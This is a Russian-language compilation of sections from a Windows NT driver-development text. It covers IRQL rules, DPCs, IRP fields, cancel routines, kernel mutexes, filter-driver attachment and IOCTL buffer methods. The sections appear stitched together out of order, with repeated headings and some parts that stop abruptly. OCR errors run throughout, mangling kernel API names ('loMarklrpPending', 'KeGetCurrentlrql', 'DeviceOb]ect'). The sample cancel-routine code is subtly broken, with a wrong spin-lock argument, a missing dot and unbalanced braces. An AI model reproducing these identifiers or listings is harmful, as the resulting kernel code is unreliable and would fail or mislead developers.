    Большое внимание в этой главе уделено модели драйвера, его структуре и характеристикам, а также взаимосвязи с другими драйверами и прикладными программами.



    Очереди, управляемые драйвером

    Очереди, управляемые драйвером

    Вместо использования системной очереди, можно предусмотреть свой собственный механизм организации очереди. Это можно сделать двумя способами:
  • использовать для создания очереди функции управления очередью низкого уровня;

  • использовать функции управления очередью высокого уровня. Этот способ очень редко используется и является промежуточным между использованием системной очереди и функций управления очередью низкого уровня.

  • Используя очереди, управляемые драйвером, драйвер получает полный контроль над очередью. Например, драйвер может организовать одновременную обработку трех запросов записи и двух запросов чтения при условии, что в данный момент не выполняется запрос управления устройством.

    Как и в случае использования системной очереди, при получении пакета IRP, который необходимо поставить в очередь, такой пакет необходимо пометить как отложенный с помощью вызова loMarklrpPending(). Затем используется любой способ помещения указателя на пакет IRP в очередь.

    Ограничения, налагаемые на драйвер

    Ограничения, налагаемые на драйвер

  • 1. Драйвер режима ядра не может использовать API пользовательского уровня или стандартные библиотеки времени исполнения языка С. Можно использовать только функции ядра.

  • 2. Драйвер не может осуществлять операции с числами с плавающей точкой. Попытка сделать это может вызвать аварийную остановку системы. Причина - в основе реализации архитектуры ММХ. Не вдаваясь в подробности можно сказать, что в этой архитектуре для обозначения регистров ММХ использованы те же обозначения, что и для использования регистров FPU. Переключение между использованием регистров MMX/FPU, производимое на пользовательском уровне, невидимо для драйвера.

  • 3. Драйвер не может манипулировать физической памятью напрямую. Однако он может получить виртуальный адрес для любого физического адреса и манипулировать им.

  • 4. Код драйвер не должен долгое время работать на повышенных уровнях IRQL. Другие ограничения можно посмотреть в [Developing Windows NT Device Driver,

    chapter 5, Driver Limitation].

  • Последующие разделы будут посвящены описанию различных точек входа драйвера.



    Ограничения, налагаемые на код с уровнем IRQL большим или равным DISPATCHJLEVEL

    Ограничения, налагаемые на код с уровнем IRQL большим или равным DISPATCHJLEVEL

    IRQL dispatchjevel имеет важное значение в Windows NT. Как уже говорилось выше, Диспетчер (планировщик) Windows NT получает запросы, чтобы выполнить

    операцию перепланирования, на уровне IRQL dispatch_level. Этот факт имеет три важных следствия:
  • Любой поток с IRQL >= DISPATCH_LEVEL не подвержен механизму планирования.

  • Любой поток с IRQL >= DISPATCH_LEVEL не может использовать никакие функции ожидания Диспетчерских Объектов ядра с отличным от нуля временем ожидания.

  • Любой поток с IRQL >= DISPATCH_LEVEL не должен приводить к ошибкам отсутствия страниц памяти (что происходит при обращении к участку памяти, находящемуся йа выгруженной на диск странице памяти). Иными словами, на таких уровнях IRQL может быть использована только невыгружаемая память (nonpaged pool, организация памяти будет рассмотрена в следующем разделе).

  • Рассмотрим эти пункты более подробно.

    Так как Диспетчер выполняется на уровне IRQL DISPATCH_LEVEL, любая подпрограмма, которая выполняется на IRQL dispatchjevel или выше, не подчиняется приоритетному прерыванию (выгрузке). Таким образом, когда квант времени потока истекает, если этот поток выполняется в настоящее время на IRQL dispatch_level или выше, он продолжит выполняться, пока не попытается понизить IRQL текущего процессора ниже dispatchjevel. Это должно быть очевидно, так как исполнение на некотором уровне IRQL блокирует распознавание других событий, запрошенных на этом же или более низком уровне IRQL.

    Что может быть менее очевидно, так это то, что, когда код выполняется на уровне IRQL dispatch_level или выше, он не может ждать никакие диспетчерские объекты (Dispatcher Object - см. раздел «Механизмы синхронизации»), которые еще не переведены в сигнальное состояние (состояние «свободен»). Таким образом, например, код, выполняющийся на уровне IRQL dispatch_level или выше, не может ожидать установки объектов событие или мьютекс. Так происходит потому, что действие освобождения процессора (которое происходит, когда поток переходит в режим ожидания события) требует (по крайней мере, концептуально) запуска Диспетчера.
    Однако, если подпрограмма выполняется на уровне dispatch_level или выше, прерывание уровня dispatchjevel (по которому запускается Диспетчер) будет маскировано и, следовательно, распознано не сразу. В результате происходит возврат обратно к коду, который вызвал операцию ожидания!

    Еще менее очевидным может быть тот факт, что код, выполняющийся на уровне IRQL dispatch_level или выше не должен приводить к ошибкам отсутствия страниц (page faults). Это означает, что любой такой код сам должен быть невыгружаемым, и должен обращаться только к невыгружаемым структурам данных. В основном это объясняется тем, что код, выполняющийся на IRQL dispatch_level или выше не может ждать освобождения диспетчерского объекта. Таким образом, даже если бы страничный запрос был обработан, поток с ошибкой отсутствия страницы не мог бы быть приостановлен, пока необходимая страница читалась с диска.

    Описание буфера данных

    Описание буфера данных

    Описатель для буфера данных инициатора запроса находится в фиксированной части IRP. Для осуществления операции ввода/вывода NT предусматривает три различных метода передачи буфера данных, принадлежащего инициатору запроса:
  • Прямой Ввод/вывод (Direct I/O). Буфер находится в виртуальном адресном пространстве инициатора запроса. Для передачи буфера драйверу Диспетчер ввода/вывода создает таблицу описания памяти (MDL), описывающую размещение буфера в физической памяти.

  • Буферизированный Ввод/вывод (Buffered I/O). Для передачи буфера драйверу Диспетчер ввода/вывода создает в невыгружаемой системной памяти копию первоначального буфера. Драйверу передается указатель на этот новый буфер. Выделенная память будет освобождена Диспетчером ввода/вывода при завершении запроса ввода/вывода.

  • «Никакой» Ввод/вывод (Neither I/O). В драйвер передается виртуальный адрес буфера инициатора запроса.

  • Коды функции Ввода/вывода и lOCTLs освещены более подробно ниже.

    Определение конфигурации аппаратного устройства

    Определение конфигурации аппаратного устройства

    Довольно обширную тему, связанную с подготовкой драйвера к использованию аппаратного устройства мы пропустим. Интересующиеся могут обратиться к [Device Driver Development, chapter 13. Driver Entry].

    Тем не менее, один часто используемый в драйверах физических устройств момент, а именно — использование реестра - необходимо упомянуть.

    В соответствии с принятыми соглашениями драйверы хранят настроечные параметры в ключе реестра \HKLM\CurrentControlSet\Services\DrvName\Parameters или .. DrvName\DeviceA\Parameters.

    Наиболее простой способ запроса содержимого реестра предоставляет функция RtlQueryRegistryValues(). Имя ключа реестра \HKLM\CurrentCont-rolSet\Services\ DrvName содержится во втором параметре функции DriverEntry.

    Определение текущего уровня IRQL

    Определение текущего уровня IRQL

    Текущий уровень IRQL свой у каждого CPU. Код режима ядра может определить IRQL, в котором он выполняется, посредством вызова функции KeGetCurrentlrql (), прототип которой:
    KIRQL KeGetCurrentlrql ();

    KeGetCurrentlrql() возвращает IRQL текущего CPU.
    Большинство подпрограмм драйвера устройства вызывается Диспетчером ввода/вывода на определенном архитектурой уровне IRQL. To есть разработчик драйвера знает уровень (или уровни) IRQL, на котором будет вызываться данная функция. Подпрограммы режима ядра могут изменять IRQL, на котором они выполняются, вызывая функции KeRaiselrql() и KeLowerlrql(), прототипы которых:
    VOID KeRaiselrql (IN PKIRQL Newlrql, OUT PKIRQL Oldlrql);
    Где: Newlrql - значение, до которого должен быть поднят уровень IRQL текущего процессора; Oldlrql - указатель на место, в которое будет помещен IRQL, на котором текущий процессор выполнялся перед тем, как был поднят к Newlrql.
    VOID KeLowerlrql (IN KIRQL Newlrql);
    Где: Newirql - значение, до которого должен быть понижен IRQL текущего процессора.

    Так как уровни IRQL являются методом синхронизации, большинство подпрограмм режима ядра (в особенности драйверы устройств) никогда не должны понижать свой уровень IRQL ниже того, на котором они вызывались. Таким образом, драйверы могут вызывать KeRaiselrql (), чтобы поднять IRQL до более высокого уровня, и затем вызывать KeLowerlrql(), чтобы возвратиться обратно к первоначальному уровню IRQL, на котором они были вызваны (например, из Диспетчера ввода/вывода). Однако драйвер никогда не должен вызывать функцию KeLowerlrql(), чтобы понизить IRQL до уровня, меньшего, чем тот, на котором он был вызван. Такое поведение может привести к крайне непредсказуемой работе операционной системы, которая наверняка закончится полным отказом системы.




    Организация памяти в защищенном режиме работы процессора

    Организация памяти в защищенном режиме работы процессора

    Ранее мы кратко рассмотрели работу процессоров серии 1386 и выше в защищенном режиме, использующем организацию памяти, при которой используются два механизма преобразования памяти:
  • сегментация;

  • разбиение на страницы.

  • ОС NT в различной мере использует оба этих механизма.

    Как уже говорилось, в защищенном режиме может быть определено до 213 (8192) сегментов. Каждый сегмент может иметь размер до 4 Гб (232 байт). Таким образом, максимальный размер виртуального адресного пространства составляет 64 Тб.

    Каждый сегмент описывается 8-байтной структурой данных - дескриптором сегмента. Дескрипторы находятся в специальной таблице дескрипторов (GDT, см. Рисунок 5). Для указания конкретного сегмента используется 16-битный селектор. Он является индексом внутри таблицы дескрипторов. Младшие 2 бита селектора определяют номер привилегированного режима (DPL - уровень привилегий дескриптора), который может воспользоваться данным селектором для доступа к дескриптору, третий бит определяет локальную/глобальную дескрипторную таблицу, (отсюда максимальное число селекторов 213).

    ОС NT, хотя и использует селекторы, но использует их в минимальной степени. NT реализует плоскую 32-разрядную модель памяти с размером линейного адресного пространства 4 Гб (232 байт). Это сделано следующим образом:

    Организация системного адресного пространства

    Организация системного адресного пространства

    Как уже отмечалось, системное адресное пространство сильно отличается от пользовательского:
  • Системное адресное пространство одинаково вне зависимости от текущего контекста памяти, то есть от содержимого пользовательского адресного пространства.

  • В системном адресном пространстве имеются диапазоны памяти как выгружаемые на диск, так и не выгружаемые.

  • На Рисунок 6 показана приблизительная организация системного адресного пространства для платформы х86.

    Основные характеристики Windows NT

    Основные характеристики Windows NT

    ОС NT характеризуется поддержкой следующих механизмов:
  • 1. модель модифицированного микроядра;

  • 2. эмуляция нескольких ОС;

  • 3. независимость от архитектуры процессора;

  • 4. объектная модель;

  • 5. многопоточность;

  • 6. вытесняющая многозадачность;

  • 7. виртуальная память с подкачкой страниц по требованию;

  • 8. мультипроцессорная обработка;

  • 9. интегрированная поддержка сети.





  • Отложенный вызов процедуры (Deferred Procedure Call, DPC)

    Отложенный вызов процедуры (Deferred Procedure Call, DPC)

    Вдобавок к использованию для работы Диспетчера (планировщика) NT, IRQL dispatch_level также используется для обработки Отложенных Вызовов Процедур (DPC). Вызовы DPC - обратные вызовы подпрограмм, которые будут выполнены на IRQL dispatchjevel. Вызовы DPC обычно запрашиваются с более высоких уровней IRQL, для осуществления расширенной, не критической по времени обработки.

    Давайте рассмотрим пару примеров того, когда используются DPC. Драйверы устройств Windows NT выполняют очень небольшую обработку внутри своих подпрограмм обслуживания прерывания. Вместо этого, когда устройство прерывается (на уровне DIRQL) и его драйвер определяет, что требуется сложная обработка, драйвер запрашивает DPC. Запрос DPC приводит к обратному вызову определенной функции драйвера на уровне IRQL dispatch_level для выполнения оставшейся части требуемой обработки. Выполняя эту обработку на IRQL dispatch_level, драйвер проводит меньшее количество времени на уровне DIRQL, и, следовательно, уменьшает время задержки прерывания для всех других устройств в системе.

    На Рисунок 15 изображена типовая последовательность событий.

    Отмена IRP и очереди, управляемые драйвером

    Отмена IRP и очереди, управляемые драйвером

    VOID Cancel(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { '

    PIRP irpToCancel;

    PDEVICE_EXT devExt;

    KIRQL oldlrql;

    // обнулить указатель на функцию отмены loSetCancelRoutine(Irp, NULL); // Освободить системную спин-блокировку // как можно быстрее

    loReleaseCancelSpinLock(Irp->CancelIrql); devExt = DeviceObject->DeviceExtension; . // Захватить спин-блокировку доступа к очереди, // удалить IRP и освободить // спин-блокировку KeAcquireSpinLock(&devExt->QueueLock, soldlrql);

    RemoveEntryList(&Irp->Tail.Overlay.ListEntry); KeReleaseSpinLock(&devExt->QueueLock, oldlrql) ;

    // Отменить IRP

    Irp->IoStatus Status = STATUS_CANCELLED; Irp->IoStatus.Information = 0; loCompleteRequest(Irp, IO_NO_INCREMENT);



    Отмена IRP и Системная Очередь

    Отмена IRP и Системная Очередь

    Пример функции отмены IRP драйвера, использующего системную очередь, показан в следующем листинге. Необходимо отметить, что для удаления IRP из системной очереди используется функция KeRemoveEntryDeviceQueue() так, как это показано в листинге.
    VOID Cancel(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {

    // Обрабатывается ли отменяемый запрос в данный момент?

    if (Irp == DeviceOb]ect->Current!rp)

    {

    // Да. Освободить системную спин-блокировку и указать

    // диспетчеру ввода/вывода начать обработку следующего

    // пакета. Отмена IRP - в конце функции

    loReleaseCancelSpinLock(Irp->CancelIrql);

    loStartNextPacket(DeviceOb]ect, TRUE); }

    else {

    // Нет. Отменяемый IRP находится в очереди. // Удалить его из очереди

    KeRemoveEntryDeviceQueue(SDeviceOb]ect->DeviceQueue, &Irp->Tail.Overlay.DeviceQueueEntry);

    loReleaseCancelSpinLock(Irp->CancelIrql); }

    // Отменить IRP

    Irp->IoStatus.Status = STATUS_CANCELLED; Irp->IoStatus.Information = 0; loCompleteRequest(Irp, IO_NO_INCREMENT); return; }

    Отмена запросов ввода/вывода

    Отмена запросов ввода/вывода

    Всякий раз, когда запрос ввода/вывода удерживается драйвером в течение продолжительного отрезка времени, драйвер должен быть готов к отмене данного запроса. В случае закрытия потока диспетчер ввода/вывода пытается отменить все запросы ввода/вывода, отправленные этим потоком и еще не завершенные. Пока все такие запросы ввода/вывода не будут завершены устройством, ему не придет запрос IRP_MJ_ CLOSE, и, следовательно, не освободится объект-файл, а впоследствии - и само устройство (драйвер никогда не получит запрос DriverUnload).

    Для обеспечения отмены запроса ввода/вывода в пакете IRP, представляющем такой запрос, должен быть указан адрес диспетчерской точки входа драйвера, собственно отменяющей запрос. Для этого служит функция IoSetCancelRoutine().
    PDRIVER_CANCEL loSetCancelRoutine(IN PIRP Irp,

    PDRIVER_CANCEL CancelRoutine) ;
    Где функция CancelRoutine() имеет такой же прототип, как и все диспетчерские функции.
    VOID CancelRoutine(IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp) ;
    Она вызывается на уровне IRQL DISPATCH_LEVEL в случайном контексте потока, однако перед ее вызовом происходит захват специальной системной спин-блокировки. До тех пор, пока системная спин-блокировка не будет освобождена, функция CancelRoutine() работает на уровне IRQL DISPATCH_LEVEL. Уровень IRQL, на который нужно перейти после освобождения блокировки указывается при вызове IoReleaseCancelSpinLock() (см. ниже). Принцип реализации функции следующий:
  • Если указанный пакет IRP не может быть отменен или не принадлежит драйверу, то надо освободить системную спин-блокировку и завершить работу функции.

  • В противном случае:

  • 1. удалить пакет IRP из любых очередей, в которых он присутствует;

  • 2. установить функцию отмены IRP в NULL с помощью IoSetCancelRoutine();

  • 3. освободить системную спин-блокировку;

  • 4. установить в IRP поле loStatus.Information равном 0, а поле loStatus.Status равном STATUS_CANCELLED;

  • 5. завершить IRP с помощью loCompleteRequest().

  • Системная спин-блокировка отмены IRP освобождается с помощью loRelease CancelSpinLock():
    VOID IoReleaseCancelSpinLock(IN KIRQL Irgl);
    Где: Irql - уровень IRQL, на который система должна вернуться после освобождения спин-блокировки. Это значение хранится в IRP в поле Cancellrql.

    Ожидание (захват) диспетчерских

    Мьютексы ядра

    Слово Мьютекс (mutex = Mutually Exclusive) означает взаимоисключение, то есть мьютекс обеспечивает нескольким потокам взаимоисключающий доступ к совместно используемому ресурсу.

    Вначале отметим, что кроме мьютексов ядра, есть еще быстрые мьютексы, являющиеся объектами исполнительной системы и не являющиеся диспетчерскими объектами. Мьютексы ядра обычно называют просто мьютексами.

    Мьютексы ядра - это диспетчерские объекты, эквиваленты спин-блокировок. Двумя важными отличиями мьютексов от спин-блокировок являются:
  • Захват мьютекса является уникальным в рамках конкретного контекста потока. Поток, в контексте которого произошел захват мьютекса, является его владельцем, и может впоследствии рекурсивно захватывать его. Драйвер, захвативший мьютекс в конкретном контексте потока, обязан освободить его в том же контексте потока, нарушение этого правила приведет к появлению «синего экрана».

  • Для мьютексов предусмотрен механизм исключения взаимоблокировок. Он заключается в том, что при инициализации мьютекса функцией KelnitializeMutex() указывается уровень (level) мьютекса. Если потоку требуется захватить несколько мьютексов одновременно, он должен делать это в порядке возрастания значения level.

  • Функции работы с мьютексами ядра:
  • 1. VOID KeInitializeMutex (IN PKMUTEX Mutex, IN ULONG Level); Эта функция инициализирует мьютекс. Память под мьютекс уже должна быть выделена. После инициализации мьютекс находится в сигнальном состоянии.

  • 2. LONG KeReleaseMutex (IN PKMUTEX Mutex, IN BOOLEAN Wait); Эта функция освобождает мьютекс, с указанием того, последует ли сразу после этого вызов функции ожидания мьютекса. Если параметр Wait равен TRUE, сразу за вызовом KeReleaseMutex() должен следовать вызов одной из функций ожидания KeWaitXxx(). В этом случае гарантируется, что пара функций - освобождение мьютекса и ожидание - будет выполнена как одна операция, без возможного в противном случае переключения контекста потока. Возвращаемым значением будет 0, если мьютекс был освобожден, то есть переведен из несигнального состояния в сигнальное. В противном случае возвращается ненулевое значение.

  • 3. LONG KeReadStateMutex(IN PKMUTEX Mutex); Эта функция возвращает состояние мьютекса - сигнальное или несигнальное.


  • Передача данных от приложения к драйверу. Асинхронная обработка

    Передача данных от приложения к драйверу. Асинхронная обработка

    Код пользовательского уровня не может напрямую вызвать код режима ядра. Для этого существуют специальные прерывания. Одним из них является прерывание 2Е -вызов системного сервиса. Диспетчер ввода/вывода обрабатывает вызовы системных сервисов специальным образом (см. Рисунок 9). В своем обработчике системного сервиса он создает специальный запрос ввода/вывода IRP и передает его на обработку некоторому объекту-устройству, после чего работа обработчика может завершиться, но обработка IRP при этом может быть не закончена.

    Подключение фильтра к устройству

    Подключение фильтра к устройству

    Имеется пара различных способов подключения драйвера-фильтра к другому драйверу. Первый способ - вначале получить указатель на объект-устройство, к которому необходимо подключиться, с помощью функции loGetDeviceObjectPointer() (см. раздел «Объединение драйверов в стек и освобождение драйверов стека»). Подключение драйвера-фильтра к найденному устройству производится с помощью вызова функции IoAttachDeviceToDeviceStack().
    PDEVICE_OBJECT loAttachDeviceToDeviceStack ( IN PDEVICE_OBJECT SourceDevice, IN PDEVICE_OBJECT TargetDevice);
    Где: SourceDevice - Указатель на первоначальный Объект-устройство, к которому будем прикреплять фильтр;

    TargetDevice - Указатель на Объект-устройство фильтра.

    Каждый объект-устройство имеет поле AttachedDevice, которое указывает на объект-устройство первого драйвера-фильтра, который был прикреплен к этому объекту-устройству. Если поле AttachedDevice объекта-устройства нулевое, нет никаких прикрепленных устройств. Если поле AttachedDevice не нулевое, оно указывает на объект-устройство драйвера-фильтра. IoAttachDeviceToDeviceStack() находит конец списка AttachedDevice для объекта-устройства, указанного параметром TargetDevice, и устанавливает в поле AttachedDevice этого конечного объекта-устройства указатель на объект-устройство драйвера-фильтра.

    Возвращаемым значением функции IoAttachDeviceToDeviceStack() является указатель на объект-устройство, к которому был прикреплен объект-устройство драйвера фильтра. Драйвер-фильтр может использовать этот указатель, чтобы передавать запросы первоначальному устройству. Хотя этот указатель обычно указывает на то же устройство, что и SourceDevice, он может быть указателем на другой драйвер-фильтр, прикрепленный к устройству SourceDevice.

    Другим способом прикрепления фильтра к устройству является вызов функции loAttaphDevice(). Эта функция просто объединяет функциональные возможности, обеспечиваемые функциями loGetDeviceObjectPointer() и loAttachDeviceToDeviceStack().
    NTSTATUS loAttachDevice 'f(IN PDEVICE_OBJECT SourceDevice,

    IN PUNICODE_STRING TargetDevice,

    OUT PDEVICE_OBJECT *AttachedDevice);
    Где: SourceDevice - Указатель на Объект-устройство драйвера Фильтра;

    TargetDevice - строка Unicode с именем устройства, к которому будет прикреплено устройство SourceDevice;

    AttachedDevice - Указатель на объект-устройство, к которому было прикреплено устройство SourceDevice.

    Эффект подсоединения фильтра заключается в том, что при запросе на открытие некоторого устройства (например, через CreateFile()) для этого устройства просматривается список присоединенных устройств. Если он пуст, как обычно, открывается запрошенное устройство. Если он не пуст, открывается последнее устройство в списке. После этого все запросы ввода/вывода направляются именно этому устройству.

    Из сказанного следует, что для успешного подключения фильтра к некоторому устройству в стеке, подключение нужно делать до того момента, когда вышележащий драйвер вызовет функцию IoGetDeviceObjeetPointer(), и, тем самым, пошлет запрос на открытие нижележащего устройства.

    Выгрузка драйвера-фильтра. Для отсоединения подсоединенного устройства служит функция loDetachDevice.

    VOID loDetachDevice(IN OUT PDEVICE_OBJECT TargetDevice);

    Соответственно, функция выгрузки драйвера-фильтра DriverUnload должна делать примерно следующее:
  • С помощью вызова ObDereferenceObject() уменьшить счетчик ссылок на объект-файл, полученный в результате вызова IoGetDeviceObjectPointer().

  • Для каждого объекта-устройства, принадлежащего выгружаемому драйверу-фильтру, вызвать loDetachDeviee() и IoDeleteDevice().





  • Подсистема среды Win32 делится на

    Подсистема среды Win32

    Подсистема среды Win32 делится на серверный процесс (csrss.exe - Client/Server Runtime Subsystem) и клиентские DLLs (user32.dll, gdi32.dll, kerneI32.dll), которые связаны с программой, использующей Win32 API. Win32. API разделен на три категории:

  • Управление окнами (windowing) и передача сообщений (messaging). Эти интерфейсы оконных процедур и процедур сообщений включают, например, такие функции, как CreateWindow(), SendMessage(), и предоставляются прикладной программе через библиотеку user32.dll.


  • Подсистемы среды

    Подсистемы среды

    Подсистема среды - это сервер пользовательского режима, реализующий API некоторой ОС. Самая важная подсистема среды в Windows NT - это подсистема среды Win32 (рассматриваемая ниже), которая предоставляет прикладным программам интерфейс API 32-разрядной Windows. В Windows NT также имеются подсистемы среды: POSIX, OS/2 и виртуальная DOS машина (virtual DOS machine, VDM), эмулирующая 16-разрядную Windows и MS-DOS.

    Данные подсистемы предоставляют свои API, но используют для получения пользовательского ввода и отображения результатов подсистему Win32, то есть перенаправляют видеовывод своих приложений подсистеме Win32 для отображения.

    Говоря о подсистемах окружения, необходимо отметить также следующее. Каждая прикладная программа (и даже более того - каждый модуль, будь то exe, dll, sys или что-то другое) может относиться только к какой-то одной подсистеме окружения, либо не относиться ни к одной из них. Эта информация прописывается в любом исполняемом модуле на этапе его компиляции и может быть получена через утилиту «Быстрый просмотр» (Quick View) в пункте «Subsystem» (варианты: The image does not require subsystem, Win32 GUI, Win32 Console, ...).

    Поля в фиксированной части IRP

    Поля в фиксированной части IRP

    Как было уже сказано, фиксированная часть IRP содержит информацию, которая или не изменяется от драйвера к драйверу или не должна сохраняться, когда IRP передается от одного драйвера к другому. Особенно интересными или полезными поля в фиксированной части IRP являются следующие:
  • 1. MdlAddress. Это поле указывает на Таблицу Описания Памяти (MDL), которая описывает буфер запроса, когда драйвер использует Прямой ввода/вывода (Direct I/O - представлен далее в этом разделе).

  • 2. Flags. Как подразумевает название, это поле содержит флаги, которые (обычно) описывают запрос ввода/вывода. Например, если в этом поле установлен флаг IRP_PAGING_IO, это указывает на то, что операция чтения или операция записи, описанная IRP, есть страничный запрос. Точно так же бит IRP_NOCACHE указывает, что запрос должен быть обработан без промежуточной буферизации. Поле Flags обычно представляют интерес только для файловых систем.

  • 3. Associatedlrp.Masterlrp. В связанном (associated) IRP это указатель на главный (master) IRP, с которым связан этот запрос. Это поле представляет интерес только драйверам верхнего уровня, типа драйверов файловых систем.

  • 4. Associatedlrp.SystemBuffer. Это место указывает на промежуточный буфер в невыгружаемой памяти, содержащий данных запроса в случае, когда драйвер исполь-йзует буферизированный ввод/вывод (Buffered I/O).

  • 5. loStatus. Это Блок Состояния Ввода/вывода, который описывает состояние завершения обработки IRP. Когда IRP завершен, драйвер помещает в поле loStatus.Status Состояние завершения операции ввода/вывода, а в поле loStatus.Information - любую дополнительную информацию, которую нужно передать обратно инициатору запроса 1 ввода/вывода. Как правило, поле loStatus.Information содержит фактическое число , байтов, прочитанных или записанных запросом передачи данных.

  • 6. Requestor Mode. Это поле указывает режим работы процессора (режим ядра или пользовательский режим), из которого был инициирован запрос ввода/вывода.


  • 7. Cancel, Cancellrql и CancelRoutine. Эти поля используются, если IRP может гбыть отменен в процессе обработки. Cancel - поле типа BOOLEAN, значение которого устанавливается Диспетчером ввода/вывода. Установка в TRUE указывает, что была запрошена отмена операции ввода/вывода, описанная этим IRP. CancelRoutine - это указатель на функцию драйвера (точка входа драйвера), вызываемую Диспетчером Ввода/вывода для того, чтобы драйвер мог корректно отменить IRP. Точка входа CancelRoutine вызывается на IRQL DISPATCH_LEVEL, Cancellrql является тем уровнем IRQL, к которому драйвер должен возвратиться. Более подробно обработка отмены запроса ввода/вывода будет обсуждаться в разделе, посвященном сериализации.


  • 8. UserBuffer. Это поле содержит виртуальный адрес буфера данных инициатора запроса, связанного с запросом Ввода/вывода, если такой буфер имеется.


  • 9. Tail.Overlay.DeviceQueueEntry. Это поле используется Диспетчером Ввода/вывода для постановки IRP в очередь в случае использования системной очереди (System > Queuing). Системная очередь будет обсуждаться в разделе, посвященном сериализации.


  • 10. Tail.Overlay.Thread. Это поле является указателем на управляющий блок по-; тока инициатора запроса (ETHREAD).


  • 11. TailOverlay.ListEntry. Когда драйвер сам создал IRP, он может использовать это поле для соединения одного IRP с другим.


  • Поля в стеке размещения ввода/вывода IRP

    Поля в стеке размещения ввода/вывода IRP

    Каждый Стек размещения Ввода/вывода в IRP содержит информацию для конкретного драйвера относительно запроса Ввода/вывода. Стек размещения Ввода/вывода определяется структурой IO_STACK_LOCATION. Для определения местонахождения текущего Стека Размещения Ввода/вывода внутри данного IRP, драйвер должен использовать функцию loGetCurrentlrp StackLocationQ. Единственным параметром при вызове является указатель на IRP. Возвращаемым значением будет указатель на текущий Стек размещения Ввода/вывода. Когда Диспетчер Ввода/вывода создает IRP и инициализирует его фиксированную часть, он также инициализирует в IRP первый Стек Размещения Ввода/вывода. В него помещается информация, которую нужно передать первому драйверу в стеке драйверов, которые будут обрабатывать этот запрос. Поля в Стеке Размещения Ввода/вывода включают следующее:
  • 1. MajorFunction. Это поле указывает главный код функции ввода/вывода, связанный с запросом ввода/вывода. Тем самым указывается тип операции ввода/вывода, которая должна быть выполнена.

    2. MinorFunction. Это поле указывает второстепенный код функции ввода/вывода, связанный с запросом. При использовании, это поле переопределяет главный функциональный код. Второстепенные функции используются почти исключительно сетевыми транспортными драйверами и файловыми системами и игнорируются большинством драйверов устройств.

    3. Flags. Это поле содержит флаги обработки, определенные для выполняемой функции ввода/вывода. Это поле представляет интерес главным образом для драйверов файловых систем.

    4. Control. Это поле является набором флагов, которые устанавливаются и читаются Диспетчером Ввода/вывода, указывая, как надо обработать данный пакет IRP. Например, в этом поле с помощью обращения драйвера к функции loMarklrpPendingO может быть установлен бит SL_PENDING, указьшающий Диспетчеру Ввода/вывода, что завершение обработки пакета ШР отложено на неопределенное время. Точно так же флажки SL_INVOKE_ ON_CANCEL, SL_INVOKE_ON_ERROR и SL_INVOKE_ON_SUCCESS указывают, когда для этого должна быть вызвана Подпрограмма Завершения Ввода/вывода драйвера.

    5. Parameters. Это поле включает несколько подполей, каждое из которых зависит от главной функции Ввода - вывода, которая будет выполняться.

    6. DeviceObject. Это поле содержит указатель на объект-устройство, который является получателем запроса Ввода/вывода.

    7. FileObject. Это поле содержит указатель на объект-файл, связанный с запросом Ввода/вывода.

  • После того, как фиксированная часть IRP и первый Стек размещения Ввода/вывода в IRP инициализированы, Диспетчер Ввода/вывода вызывает верхний драйвер в стеке драйверов в его точке входа dispatch, которая соответствует главному функциональному коду для запроса. Таким образом, если Диспетчер Ввода/вывода сформировал IRP для описания запроса чтения, он вызовет первый драйвер в стеке драйверов в его диспетчерской точке входа для чтения (IRP_MJ_READ). При этом Диспетчер Ввода/вывода передает следующие параметры:
  • указатель на IRP, который был только что сформирован;

  • указатель на обьект-устройство, который соответствует устройству, для которого драйвер должен обработать запрос.





  • Получение буфера

    Получение буфера

    При использовании буферизованного метода, Диспетчер ввода/вывода выделяет в системной невыгружаемой памяти промежуточный буфер, размер которого равен максимальному из размеров буферов InBuffer и OutBuffer. Если при запросе был определен InBuffer и его длина не нулевая, содержание InBuffer копируется в промежуточный буфер. В любом случае, адрес промежуточного буфера помещается в IRP в поле Associatedlrp.SystemBuffer. Затем IRP, содержащий запрос, передается драйверу.

    Данные, находящиеся в промежуточном буфере, могут читаться и перезаписываться драйвером. Затем драйвер размещает в промежуточном буфере данные, которые нужно вернуть в OutBuffer.

    При завершении запроса ввода/вывода, если OutBuffer был определен при запросе ввода/вывода и его длина не нулевая, Диспетчер ввода/вывода копирует из промежуточного буфера в OutBuffer столько байтов, сколько было указано в поле 1гр->IoStatus.Information. После этого, как и при любом буферизированном запросе Ввода/вывода, Диспетчер ввода/вывода освобождает промежуточный буфер.

    При использовании методов METHOD_IN_DIRECT и METHOD_OUT_ DIRECT, буфер InBuffer, если он определен в запросе ввода/вывода и его длина не нулевая, обрабатывается в точности так же, как и при буферизованном вводе/выводе. В этом случае выделяется промежуточный буфер, в него копируется InBuffer, указатель на промежуточный буфер помещается в IRP в поле Associatedlrp.SystemBuffer.

    Буфер OutBuffer, если он определен в запросе ввода/вывода и его длина не нулевая, обрабатывается в соответствии с прямым вводом/выводом. В этом случае адрес проверяется на возможность доступа (запись или чтение), производится закрепление физических страниц в памяти, и создается таблица описания памяти MDL, описывающая OutBuffer. Указатель на MDL передается в поле Irp->MdlAddress.

    При использовании метода METHOD_NEITHER, оба буфера передаются в соответствии с методом Neither. To есть, не производится проверка доступности памяти, не выделяются промежуточные буфера и не создаются MDL. В пакете IRP передаются виртуальные адреса буферов в пространстве памяти инициатора запроса ввода/вывода. Адрес буфера OutBuffer передается в фиксированной части IRP в поле Irp-

    >UserBuffer, адрес буфера InBuffer передается в стеке размещения ввода/вывода в поле stack->Parameters.DeviceControl.Type3InputBuffer. Положение буферов показано в таблице 7.

    Получение драйвером вышележащего

    Получение драйвером вышележащего уровня уведомления о завершении обработки IRP драйвером нижележащего уровня

    В некоторых случаях драйвер вышележащего уровня может захотеть получить уведомление о завершении обработки переданного им запроса ввода/вывода драйвером нижележащего уровня(CompletionNotification). Это может быть сделано с помощью вызова функции IoSetCompletionRoutine() перед передачей пакета IRP драйверу нижележащего уровня любым указанным выше способом.
    VOID loSetCompletionRoutine(IN PIRP Irp,

    IN PIO_COMPLETION_ROUTINE CompletionRoutine,

    INPVOID Context,

    IN BOOLEAN InvokeOnSuccess,

    IN BOOLEAN InvokeOnError,

    IN BOOLEAN InvokeOnCahcel);
    Где: Irp - Указатель на IRP, при завершении которого вызывается точка входа CompletionRoutine;

    CompletionRoutine - Указатель на точку входа драйвера, вызываемую при завершении IRP;

    Context - определенное драйвером значение, которое нужно передать как третий параметр для точки входа CompletionRoutine;

